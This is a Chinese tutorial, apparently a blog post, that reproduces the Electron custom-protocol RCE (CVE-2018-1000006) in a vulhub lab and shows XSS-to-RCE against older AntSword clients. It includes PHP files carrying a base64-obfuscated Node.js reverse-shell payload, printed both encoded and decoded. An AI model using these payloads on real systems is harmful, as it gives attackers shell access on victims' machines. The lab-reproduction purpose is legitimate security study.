Electron 框架 XSS TO RCE 简析
Electron 框架简介
Electron 是由 Github 开发,用 HTML,CSS 和 JavaScript 来构建跨平台桌面应用程序的一个开源库。Electron 通过将 Chromium 和 Node.js 合并到同一个运行时环境中,并将其打包为 Mac,Windows 和 Linux 系统下的应用来实现这一目的。简单的说,Electron 框架可以看做一个 web 浏览器,开发者只需要掌握 javascript、html 和 css 等 web 开发语言就可以开发出跨平台运行的桌面客户端程序。
Electron 框架漏洞简述
该远程代码执行漏洞 CVE 编号为 CVE-2018-1000006,该漏洞的成因是在 windows 操作系统下,Electron 支持注册自定义 url 协议,浏览器可通过伪协议这种 IPC 方式唤起本地的应用,使用应用自定义协议(Custom URI Scheme)Handler 的 Electron 应用均会受到该漏洞的影响。由于 Electron 框架较为流行,Github、微软、Slack 等厂商的客户端均曾受该漏洞的影响,其中,国内流行的安全工具蚁剑、Goby 也曾受该漏洞的影响。
Electron RCE 漏洞复现
首先下载 vulhub
git clone https://github.com/vulhub/vulhub.git
启动 Electron RCE 漏洞环境
访问 http://ip:8080
下载页面上的 vulhub-app.tar.gz,解压后压缩包中包含一个 vulhub-app.exe 的程序,该程序即为使用 Electron 框架编写的存在漏洞的程序
点击页面上的 click me 超链接,发现可以直接通过浏览器访问链接达到调用应用的效果,漏洞复现成功
Electron 框架 XSS TO RCE 之蚁剑
首先在 phpstuday 目录下创建一个 xss.php
该文件中的内容为
<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');
启动 phpstudy
然后使用蚁剑进行访问连接 http://ip:port/xss.php,蚁剑加载器需要下载 v2.0.7 之前的版本
保存连接后双击访问,弹出对话框,存在 xss 漏洞
在 phpstudy 目录下再添加一个 rce.php
rce.php 中的内容如下
<?php
header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>");
?>
其中经过 base64 编码的原始内容为
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
保存后使用蚁剑连接 http://ip:port/rce.php,即可获取蚁剑客户端所在主机的反弹 shell
评论